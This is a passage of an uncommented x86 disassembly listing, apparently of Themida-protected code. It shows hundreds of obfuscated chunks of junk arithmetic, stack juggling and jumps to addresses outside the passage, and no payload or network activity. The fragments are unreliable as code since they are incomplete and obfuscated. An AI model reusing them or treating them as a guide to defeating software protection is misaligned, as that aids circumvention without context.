; ---------------------------------------------------------------------------
loc_55EF93: ; CODE XREF: sub_559C84+1AE3j
mov esp, [esp+3Ch+var_3E+2]
mov cx, word ptr [esp+3Ch+var_3E+2]
push edx
mov edx, esp
jmp loc_55B3D6
; ---------------------------------------------------------------------------
loc_55EFA2: ; CODE XREF: sub_559C84+31D4j
add edx, 1
xor edx, 1AD80D17h
push ebx
mov ebx, 6F9F16FFh
or edx, ebx
pop ebx
push ecx
mov ecx, 6133575Dh
xor edx, ecx
jmp loc_554E1B
; ---------------------------------------------------------------------------
loc_55EFC4: ; CODE XREF: sub_559C84-43BCj
push esp
mov eax, [esp+0Ch+var_C]
add esp, 4
jmp loc_553A60
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E1F9
loc_55EFD0: ; CODE XREF: sub_55E1F9-4B9Dj
shl ebp, 4
add ebp, 0E5026712h
sub ecx, 1F501FF0h
sub ecx, ebp
jmp loc_55BFB9
; END OF FUNCTION CHUNK FOR sub_55E1F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55EFE6: ; CODE XREF: sub_559C84-1A18j
sub dh, al
pop eax
sub dh, 20h
jmp loc_557F8B
; ---------------------------------------------------------------------------
loc_55EFF1: ; CODE XREF: sub_559C84+416Dj
pop edx
or edi, 6B927D83h
xor edi, 6BC66F7Bh
shl edi, 4
add edi, 0E2611BFEh
xor edx, edi
jmp loc_55F3B9
; ---------------------------------------------------------------------------
loc_55F00E: ; CODE XREF: sub_559C84+1766j
add edx, 1EBF0DECh
add edx, eax
sub esp, 4
mov [esp+56h+var_58+2], ecx
push 8EDh
mov [esp+5Ah+var_5C+2], eax
push 78127168h
pop eax
add eax, 71DC31BEh
xor eax, 986587BEh
mov ecx, eax
pop eax
add ecx, 0AD33E954h
sub edx, ecx
jmp loc_55574F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F047: ; CODE XREF: Themida_:00558FDBj
add esp, 4
add esi, 4
sub esp, 4
jmp loc_5570FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F058: ; CODE XREF: sub_559C84-61DBj
or eax, eax
jz loc_555DBB
push 13Dh
mov [esp+42h+var_42], eax
jmp loc_55445E
; ---------------------------------------------------------------------------
loc_55F06D: ; CODE XREF: sub_559C84+1DACj
not [esp-14h+arg_10]
jmp loc_556C58
; ---------------------------------------------------------------------------
loc_55F075: ; CODE XREF: sub_559C84+5466j
mov ebx, 2
sub ebp, ebx
pop ebx
jmp loc_55C40A
; ---------------------------------------------------------------------------
loc_55F082: ; CODE XREF: sub_559C84-5373j
mov [esp+48h+var_4A+2], eax
push 8561E0Ch
pop eax
jmp loc_55C4D3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F090: ; DATA XREF: Themida_:005534B4o
lodsd
jmp loc_553B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F096: ; CODE XREF: sub_559C84+1267j
pop eax
push edx
mov edx, ebx
mov edi, edx
pop edx
pop ebx
add ecx, edi
push [esp+4+var_4]
pop edi
add esp, 4
jmp loc_5582F6
; ---------------------------------------------------------------------------
loc_55F0AC: ; CODE XREF: sub_559C84-3E3Cj
mov [esp+0], ebp
push edx
jmp loc_55CF65
; ---------------------------------------------------------------------------
loc_55F0B5: ; CODE XREF: sub_559C84-3F93j
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55CF1F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_558177
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F0DE: ; CODE XREF: sub_559C84+2B00j
add ebp, ecx
mov ecx, [esp+0]
add esp, 4
push ebx
jmp loc_55F075
; ---------------------------------------------------------------------------
loc_55F0EF: ; CODE XREF: sub_559C84+4400j
add eax, 60B74DF5h
add eax, edx
jmp loc_55D5B2
; ---------------------------------------------------------------------------
loc_55F0FB: ; CODE XREF: sub_559C84+DEj
push esp
pop edi
jmp loc_55A821
; ---------------------------------------------------------------------------
loc_55F102: ; CODE XREF: sub_559C84+FA0j
pop eax
add esp, 4
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F114: ; CODE XREF: sub_559C84+5950j
push eax
jmp loc_554132
; ---------------------------------------------------------------------------
loc_55F11A: ; CODE XREF: sub_559C84-55EDj
pop ecx
push esi
mov esi, 154203C9h
shl esi, 2
push esi
not [esp+40h+var_42+2]
pop esi
sub esi, 59777177h
jmp loc_5567EE
; ---------------------------------------------------------------------------
loc_55F134: ; CODE XREF: sub_559C84-2B3Cj
or edx, 3DCC783Fh
inc edx
push esi
mov esi, 0A34888FBh
jmp loc_55AC01
; ---------------------------------------------------------------------------
loc_55F146: ; CODE XREF: sub_559C84+2E73j
add edi, 0F9DA6424h
mov edx, edi
pop edi
sub eax, edx
jmp loc_55AA22
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5597C1
loc_55F156: ; CODE XREF: sub_5597C1-5885j
xor eax, ecx
jmp loc_55A16E
; END OF FUNCTION CHUNK FOR sub_5597C1
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_55F8F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F165: ; CODE XREF: sub_559C84-29ABj
dec ebp
jmp loc_55CEB8
; ---------------------------------------------------------------------------
loc_55F16B: ; CODE XREF: sub_559C84-4B52j
add esp, 4
shr eax, 10h
xor eax, ecx
push 267Ah
mov [esp-0Eh+arg_8+2], eax
push 245Dh
mov [esp-0Ah+arg_4+2], ecx
jmp loc_55F440
; ---------------------------------------------------------------------------
loc_55F188: ; CODE XREF: sub_559C84-618Bj
mov edi, eax
pop eax
jmp loc_5564BF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F389
loc_55F190: ; CODE XREF: sub_55F389+7j
mov eax, [esp+0]
jmp loc_55BF61
; END OF FUNCTION CHUNK FOR sub_55F389
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F198: ; CODE XREF: sub_559C84+1597j
xor ebp, [esp+44h+var_46+2]
xor [esp+44h+var_46+2], ebp
xor ebp, [esp+44h+var_46+2]
mov esp, [esp+44h+var_46+2]
imul cx
push small 4A6Ah
jmp loc_55A3ED
; ---------------------------------------------------------------------------
loc_55F1B0: ; CODE XREF: sub_559C84-4EC2j
add edi, ebp
push ecx
mov ecx, 17ED4256h
sub edi, ecx
jmp loc_557EBF
; ---------------------------------------------------------------------------
loc_55F1BF: ; CODE XREF: sub_559C84+1B4Ej
add [esp+4], dx
push ax
jmp loc_559F17
; ---------------------------------------------------------------------------
loc_55F1CB: ; CODE XREF: sub_559C84+1A4Bj
pop ebx
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F1D1: ; CODE XREF: Themida_:0055ED28j
pop edi
add esi, 1B694E17h
sub esi, ebx
push edx
mov edx, 1B694E17h
sub esi, edx
mov edx, [esp]
add esp, 4
jmp loc_55A9CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F1F0: ; CODE XREF: sub_559C84-3B88j
push [esp+40h+var_3E+2]
pop eax
pop [esp+40h+var_42+2]
jmp loc_55DE9E
; ---------------------------------------------------------------------------
loc_55F1FD: ; CODE XREF: sub_559C84-5A17j
sub ebx, esi
pop esi
mov ecx, ebx
jmp loc_55E054
; ---------------------------------------------------------------------------
loc_55F207: ; CODE XREF: sub_559C84+37E2j
mov edx, [esp+4Ch+var_4E+2]
push edx
mov edx, esp
add edx, 4
jmp loc_553895
; ---------------------------------------------------------------------------
loc_55F218: ; CODE XREF: sub_559C84+3D95j
dec esi
xor esi, 285E2C9Bh
sub esi, 302A2496h
add edi, esi
pop esi
push esi
mov esi, esp
add esi, 4
jmp loc_5587F0
; ---------------------------------------------------------------------------
loc_55F236: ; CODE XREF: sub_559C84+2667j
or ebx, 6DE042BFh
neg ebx
jmp loc_553A4D
; ---------------------------------------------------------------------------
loc_55F243: ; CODE XREF: sub_559C84-3625j
add esi, 61296E42h
add esi, 7D590336h
neg esi
add esi, 6EDFF496h
mov eax, esi
pop esi
push ebp
mov ebp, 14220961h
or ebp, 6D2D3D87h
jmp loc_55ADAF
; ---------------------------------------------------------------------------
loc_55F26B: ; CODE XREF: sub_559C84-1540j
pop esp
mov [esp+4Ah+var_4A], ebx
push eax
jmp loc_55E36C
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55F275 proc near ; CODE XREF: sub_559C84-3D81j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0055F3F3 SIZE 0000000B BYTES
push ebp
push 456Ch
mov [esp+8+var_8], esp
push ebx
mov ebx, 451D2259h
add ebx, 7E3B1AF6h
jmp loc_55F3F3
sub_55F275 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F28F: ; CODE XREF: sub_559C84-459Aj
sub [esp+50h+var_4A+2], 0C003B8Bh
add [esp+50h+var_4A+2], ecx
add [esp+50h+var_4A+2], 0C003B8Bh
jmp loc_55BBF5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5577DF
loc_55F2A8: ; CODE XREF: sub_5577DF+12j
mov esi, edi
jmp loc_55B5CF
; END OF FUNCTION CHUNK FOR sub_5577DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F2AF: ; CODE XREF: sub_559C84+380Aj
push [esp+44h+var_42+2]
mov edi, [esp+48h+var_4A+2]
jmp loc_559041
; ---------------------------------------------------------------------------
loc_55F2BB: ; CODE XREF: sub_559C84+4E96j
pop si
and si, bx
pop ebx
push ecx
mov cx, 2066h
or cx, 345Eh
add cx, 0FFFFh
add cx, 808h
shl cx, 5
add cx, 0DCAh
sub si, cx
jmp loc_55B0F1
; ---------------------------------------------------------------------------
loc_55F2E5: ; CODE XREF: sub_559C84+3BFBj
add esp, 4
jmp loc_55569A
; ---------------------------------------------------------------------------
loc_55F2ED: ; CODE XREF: sub_559C84-3404j
push [esp+20h+var_20]
jmp loc_55A2B5
; ---------------------------------------------------------------------------
loc_55F2F5: ; CODE XREF: sub_559C84+4EFAj
shr edi, 5
add edi, 0FF35B7A2h
jmp loc_559AB4
; ---------------------------------------------------------------------------
loc_55F303: ; CODE XREF: sub_559C84-2120j
xchg edx, [esp+0]
pop esp
mov [esp+62h+var_64+2], ebx
mov ebx, 56F7656h
jmp loc_55E625
; ---------------------------------------------------------------------------
loc_55F314: ; CODE XREF: sub_559C84+1F4Cj
sub ebp, 17FBBDDBh
jmp loc_55701C
; ---------------------------------------------------------------------------
loc_55F31F: ; CODE XREF: sub_559C84-1C6Dj
push esp
pop esi
jmp loc_55BF81
; ---------------------------------------------------------------------------
loc_55F326: ; CODE XREF: sub_559C84+2CB3j
mov esp, [esp+0Eh+var_10+2]
push 3A0h
mov [esp+12h+var_14+2], ebp
jmp loc_559819
; ---------------------------------------------------------------------------
loc_55F336: ; CODE XREF: sub_559C84-3A47j
push edi
mov edi, esp
push edx
mov edx, 0AE94DC3h
or edx, 13C957ACh
sub edx, 1BE95FEBh
sub edi, 30441D05h
jmp loc_55C967
; ---------------------------------------------------------------------------
loc_55F356: ; CODE XREF: sub_559C84-1CF7j
pop edx
xor al, 10h
jmp loc_553A2F
; ---------------------------------------------------------------------------
loc_55F35E: ; CODE XREF: sub_559C84+3CE2j
or edx, ecx
jmp loc_5542F5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556F29
loc_55F365: ; CODE XREF: sub_556F29+134j
mov ebx, 623A5A49h
dec ebx
jmp loc_55485C
; END OF FUNCTION CHUNK FOR sub_556F29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F370: ; CODE XREF: sub_559C84+3112j
div cx
push small 5142h
mov word ptr [esp+2Eh+var_30+2], dx
push ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F383: ; CODE XREF: sub_559C84-151Cj
push edi
jmp loc_555019
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55F389 proc near ; CODE XREF: sub_559C84+36E1j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F190 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], eax
push esp
jmp loc_55F190
sub_55F389 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F395: ; CODE XREF: sub_559C84+5C41j
mov [esp+52h+var_52], ecx
xchg edx, [esp+52h+var_52]
sub esp, 4
mov [esp+56h+var_58+2], edx
not [esp+56h+var_58+2]
pop edx
xchg edx, [esp+52h+var_52]
pop ecx
xchg edi, ecx
jmp loc_55B987
; ---------------------------------------------------------------------------
loc_55F3B3: ; CODE XREF: sub_559C84+2B91j
push edi
jmp loc_55EB76
; ---------------------------------------------------------------------------
loc_55F3B9: ; CODE XREF: sub_559C84+5385j
pop edi
jmp loc_55E141
; ---------------------------------------------------------------------------
loc_55F3BF: ; CODE XREF: sub_559C84-4C8Aj
and edi, 66C65195h
inc edi
add edi, 3470BE03h
jmp loc_55AE1C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F3DF: ; CODE XREF: sub_559C84-60FDj
mov ecx, edi
pop edi
add [esp+2Ah+var_28+2], 36DE09ADh
add [esp+2Ah+var_28+2], ecx
jmp loc_55C555
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F275
loc_55F3F3: ; CODE XREF: sub_55F275+15j
add ebx, 3CA7C2B5h
jmp loc_55C760
; END OF FUNCTION CHUNK FOR sub_55F275
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F3FE: ; CODE XREF: sub_559C84-5BAFj
and ecx, edi
mov edi, [esp+0]
sub esp, 4
jmp loc_55858E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557A15
loc_55F40E: ; CODE XREF: sub_557A15+9j
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_557A15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F41A: ; CODE XREF: sub_559C84+139Dj
push ecx
push eax
mov eax, 36967761h
mov ecx, 36967765h
xor ecx, eax
jmp loc_55E4FD
; ---------------------------------------------------------------------------
loc_55F42D: ; CODE XREF: sub_559C84+2966j
add esp, 4
jmp loc_55AD76
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F435: ; CODE XREF: Themida_:00557B80j
xor ebx, [esp]
xor [esp], ebx
jmp loc_55443B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F440: ; CODE XREF: sub_559C84+54FFj
push [esp-0Ah+arg_8+2]
pop ecx
pop [esp-0Ah+arg_4+2]
jmp loc_55F6C9
; ---------------------------------------------------------------------------
loc_55F44D: ; CODE XREF: sub_559C84-63F4j
add ebp, 95E2441h
sub edx, ebp
pop ebp
pop edi
sub edx, 6A657C1Eh
jmp loc_557D85
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F462: ; CODE XREF: Themida_:00554E96j
shl ecx, 6
shr ecx, 3
jmp loc_5585B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F46D: ; CODE XREF: sub_559C84-4BD7j
shl esi, 8
or esi, 73580B35h
xor esi, 0E3F18A48h
mov ebx, esi
pop esi
mov ecx, 61F56FDBh
xor ecx, ebx
mov ebx, [esp+8+var_8]
add esp, 4
shr ecx, 1
jmp loc_555744
; ---------------------------------------------------------------------------
loc_55F496: ; CODE XREF: sub_559C84+1CCj
add esp, 4
jmp loc_559534
; ---------------------------------------------------------------------------
loc_55F49E: ; CODE XREF: sub_559C84+1748j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F4A3: ; CODE XREF: sub_559C84-7DCj
xor edx, ebp
pop ebp
not edx
jmp loc_553FF9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F4AD: ; CODE XREF: Themida_:0055867Fj
push cx
mov cx, 2
jmp loc_559DD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F4B8: ; CODE XREF: sub_559C84-547Bj
xor esi, 0E700AED2h
jmp loc_559E4A
; ---------------------------------------------------------------------------
loc_55F4C3: ; CODE XREF: sub_559C84+554j
add edi, 4
jmp sub_557B99
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F4CE: ; CODE XREF: Themida_:00556AF0j
mov edi, 38307CC5h
neg edi
shl edi, 3
jmp loc_55EB03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F4DD: ; CODE XREF: sub_559C84+4B15j
add cl, 1
push edx
mov dh, 2Ah
xor cl, dh
pop edx
push bx
mov bh, 0B2h
jmp loc_555F3B
; ---------------------------------------------------------------------------
loc_55F4EF: ; CODE XREF: sub_559C84-9ADj
xchg esi, [esp+18h+var_18]
pop esp
jmp loc_55D119
; ---------------------------------------------------------------------------
loc_55F4F8: ; CODE XREF: sub_559C84-B18j
add dl, 3
mov ch, dl
mov edx, [esp+32h+var_34+2]
add esp, 4
jmp loc_55D627
; ---------------------------------------------------------------------------
loc_55F50B: ; CODE XREF: sub_559C84-325Dj
sub ecx, 145E314h
mov edi, ecx
jmp loc_55AD48
; ---------------------------------------------------------------------------
loc_55F518: ; CODE XREF: sub_559C84-529Dj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4Ah+var_4A]
pop esp
push 0BEh
mov [esp+4Ah+var_4A], edx
push edi
jmp loc_554E49
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F9FD
loc_55F535: ; CODE XREF: sub_55F9FD-81C8j
push 6DA4h
mov [esp-8+arg_4], ecx
mov ecx, 28h
add ecx, 7E385EB9h
add ecx, edi
push edx
mov edx, 7E385EB9h
sub ecx, edx
pop edx
push edx
mov edx, 0
add edx, ecx
mov [edx], al
mov edx, [esp-4+arg_0]
push esi
push esp
pop esi
push edi
jmp loc_55636E
; END OF FUNCTION CHUNK FOR sub_55F9FD
; =============== S U B R O U T I N E =======================================
sub_55F569 proc near ; CODE XREF: sub_559C84-2633j
; FUNCTION CHUNK AT 005580D4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005582D5 SIZE 00000007 BYTES
push ebx
mov ebx, 0
push esi
mov esi, 60DC5818h
add ebx, 13CE5B8Bh
jmp loc_5582D5
sub_55F569 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F580: ; CODE XREF: sub_559C84+51BEj
xchg esi, [esp-6+arg_0+2]
pop esp
mov [esp-0Ah+arg_4+2], ecx
mov ecx, esp
jmp loc_558F66
; ---------------------------------------------------------------------------
loc_55F58E: ; CODE XREF: sub_559C84-1442j
shr edx, 4
jmp loc_5548EB
; ---------------------------------------------------------------------------
loc_55F596: ; CODE XREF: sub_559C84+2B26j
not edi
or edi, 22CC707Ch
xor edi, 5A0713E9h
jmp loc_557E6A
; ---------------------------------------------------------------------------
loc_55F5A9: ; CODE XREF: sub_559C84+2A55j
shl ch, 7
xor ch, 0E5h
sub ch, 0E6h
mov bh, ch
pop ecx
and al, bh
push [esp+14h+var_14]
pop ebx
add esp, 4
push 1B1Dh
mov [esp+14h+var_14], ebx
push 634h
jmp loc_55C356
; ---------------------------------------------------------------------------
loc_55F5D3: ; CODE XREF: sub_559C84+AF1j
pop esi
jmp loc_55F114
; ---------------------------------------------------------------------------
loc_55F5D9: ; CODE XREF: sub_559C84+4499j
pop [esp+20h+var_20]
pop esp
sub esp, 4
mov [esp+1Ch+var_1C], ebx
push 751h
jmp loc_55A69C
; ---------------------------------------------------------------------------
loc_55F5F0: ; CODE XREF: sub_559C84-14F8j
movzx eax, ax
push 6F57h
mov [esp+52h+var_52], ebp
push 1FE9h
mov [esp+56h+var_58+2], esp
jmp loc_557843
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55F608 proc near ; CODE XREF: sub_559C84+5B10j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00557465 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557479 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055E180 SIZE 00000018 BYTES
sub esp, 4
mov [esp-4+arg_0], ecx
mov ecx, 7FCB7620h
xor edi, ecx
jmp loc_55E180
sub_55F608 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F61D: ; CODE XREF: sub_559C84+5F68j
xor ebp, 5BFE52C7h
push eax
mov eax, 7DFB10BEh
sub ebp, eax
pop eax
shr ebp, 6
xor ebp, 69661128h
push eax
mov eax, 6B7F4D51h
neg eax
sub eax, 30A022D8h
sub eax, 0ABA6F4Ch
sub eax, 0FFFFFFFFh
jmp loc_55B912
; ---------------------------------------------------------------------------
loc_55F64F: ; CODE XREF: sub_559C84+475j
xor edi, [esp+44h+var_46+2]
xor [esp+44h+var_46+2], edi
not edi
xchg edi, [esp+44h+var_46+2]
pop ebp
jmp loc_553BE6
; ---------------------------------------------------------------------------
loc_55F660: ; CODE XREF: sub_559C84+23AFj
shl edi, 7
jmp loc_55CCEA
; ---------------------------------------------------------------------------
loc_55F668: ; CODE XREF: sub_559C84+10EDj
sub esi, 6AA640BAh
jmp loc_55C5E6
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55F673 proc near ; CODE XREF: sub_559C84+51A2j
push ebp
mov ebp, 0C9D19D60h
jmp loc_55D9CE
sub_55F673 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F67E: ; CODE XREF: sub_559C84+454j
xor edi, [esp-1Eh+arg_18+2]
pop esp
movsx ecx, al
jmp loc_55EA9B
; ---------------------------------------------------------------------------
loc_55F68A: ; CODE XREF: sub_559C84-197Ej
push [esp+22h+var_24+2]
pop eax
add esp, 4
mov ebx, [esp+1Eh+var_20+2]
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F69F: ; CODE XREF: sub_559C84+2974j
xchg ebp, [esp+4Ch+var_4E+2]
pop esp
push edx
push esi
mov esi, 69B06EEFh
jmp loc_55B438
; ---------------------------------------------------------------------------
loc_55F6AF: ; CODE XREF: sub_559C84-63C4j
xor edi, 3973F1F9h
jmp loc_558DF5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
dw 8B66h
dd 68502404h, 237Ah, 0FFA038E9h
db 0FFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F6C9: ; CODE XREF: sub_559C84+57C4j
not ecx
xor [esp-0Eh+arg_8+2], ecx
xor ecx, [esp-0Eh+arg_8+2]
xor [esp-0Eh+arg_8+2], ecx
push [esp-0Eh+arg_8+2]
jmp loc_55B10C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F6DC: ; DATA XREF: Themida_:00553280o
push 15DBh
mov [esp], edx
push eax
push edi
push 417A2610h
pop edi
shl edi, 2
sub edi, 5E89808h
mov eax, edi
pop edi
push eax
add dword ptr [esp], 0D903594h
jmp loc_55D12C
; ---------------------------------------------------------------------------
loc_55F705: ; CODE XREF: Themida_:005549A2j
xor edi, [esp]
mov esp, [esp]
jmp loc_558D28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F710: ; CODE XREF: sub_559C84+1077j
pop esp
shr ecx, 0Ah
sub esp, 4
mov [esp+3Ch+var_3E+2], edi
push ebx
add [esp+40h+var_42+2], 28E67473h
mov edi, [esp+40h+var_42+2]
push esi
mov esi, esp
jmp loc_5592CE
; ---------------------------------------------------------------------------
loc_55F72D: ; CODE XREF: sub_559C84-518Aj
push edx
mov dh, al
mov ch, dh
pop edx
pop eax
add bh, ch
mov ecx, [esp+3Eh+var_3E]
add esp, 4
add al, bh
jmp loc_55B4D4
; ---------------------------------------------------------------------------
loc_55F746: ; CODE XREF: sub_559C84-A35j
pop edx
sub ebp, 4
xchg ebp, [esp+5Eh+var_60+2]
jmp loc_5576A0
; ---------------------------------------------------------------------------
loc_55F752: ; CODE XREF: sub_559C84-5717j
push 5E563768h
jmp loc_55C61D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
sub esp, 4
push ebp
jmp loc_553937
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F768: ; CODE XREF: sub_559C84+3C9Aj
or ecx, 7A3E6DAEh
sub ecx, 7F7F6DABh
jmp loc_558087
; ---------------------------------------------------------------------------
loc_55F779: ; CODE XREF: sub_559C84+2D73j
dec eax
xor eax, 68DB2CC1h
jmp loc_55C57C
; ---------------------------------------------------------------------------
loc_55F784: ; CODE XREF: sub_559C84-2DDFj
dec ecx
push edi
mov edi, 1A41684Ch
shl edi, 7
or edi, 2660EB0h
jmp sub_55F608
; ---------------------------------------------------------------------------
loc_55F799: ; CODE XREF: sub_559C84-1E9Cj
push dword ptr [esp+0]
mov edi, [esp+2+var_4+2]
add esp, 4
push 5F7Fh
mov [esp+2+var_4+2], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_555115
; ---------------------------------------------------------------------------
loc_55F7BD: ; CODE XREF: sub_559C84-A43j
xor ebx, [esp+5Ch+var_5C]
xor [esp+5Ch+var_5C], ebx
xor ebx, [esp+5Ch+var_5C]
mov esp, [esp+5Ch+var_5C]
push 3C95h
mov [esp+60h+var_60], edi
jmp loc_55C595
; ---------------------------------------------------------------------------
loc_55F7D6: ; CODE XREF: sub_559C84+2570j
push edi
mov edi, esp
push eax
push esi
push 64594266h
jmp loc_556659
; ---------------------------------------------------------------------------
loc_55F7E5: ; CODE XREF: sub_559C84+3980j
not al
xchg al, ch
jmp loc_55D70B
; ---------------------------------------------------------------------------
loc_55F7EE: ; CODE XREF: sub_559C84-56Dj
sub al, 0FCh
mov edx, [esp+4Eh+var_4E]
add esp, 4
jmp sub_557976
; ---------------------------------------------------------------------------
loc_55F7FE: ; CODE XREF: sub_559C84+2BD0j
pop eax
jmp loc_55DB81
; ---------------------------------------------------------------------------
loc_55F804: ; CODE XREF: sub_559C84+1D97j
xor esi, ebp
xor ebp, esi
xor esi, ebp
push ebp
not [esp-8+arg_4]
mov ebp, [esp-8+arg_4]
jmp loc_55BC2E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555CF6
loc_55F816: ; CODE XREF: sub_555CF6+4j
push 4BDAh
mov [esp+4+var_4], edi
push esp
pop edi
push ebp
mov ebp, 5FC74E41h
push 32EEh
mov [esp+0Ch+var_C], edx
jmp loc_55B927
; END OF FUNCTION CHUNK FOR sub_555CF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F833: ; CODE XREF: sub_559C84-D23j
push edx
mov edx, 2D2175DCh
dec edx
neg edx
inc edx
jmp loc_55639F
; ---------------------------------------------------------------------------
loc_55F842: ; CODE XREF: sub_559C84-4C00j
xor edi, ecx
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_559B01
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push 120Dh
mov [esp], edx
push esi
mov esi, 629B036Eh
jmp loc_559724
; =============== S U B R O U T I N E =======================================
sub_55F86E proc near ; CODE XREF: sub_559C84-3860j
push ebp
mov ebp, 0C4460C3h
or ebx, ebp
jmp loc_55C789
sub_55F86E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F87B: ; CODE XREF: sub_559C84-1405j
mov ecx, 4
jmp $+5
add eax, 12735DDFh
add eax, ecx
sub eax, 12735DDFh
pop ecx
xchg eax, [esp+0]
pop esp
sub al, 1Ah
add al, dh
jmp loc_55C892
; ---------------------------------------------------------------------------
loc_55F89F: ; CODE XREF: sub_559C84-22ABj
xor [esp+2Eh+var_30+2], ebp
xor ebp, [esp+2Eh+var_30+2]
pop esp
shl [esp+2Ah+var_2C+2], cl
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F8AE: ; CODE XREF: sub_559C84-1822j
sub edx, 4
xchg edx, [esp+42h+var_42]
jmp loc_5564EB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
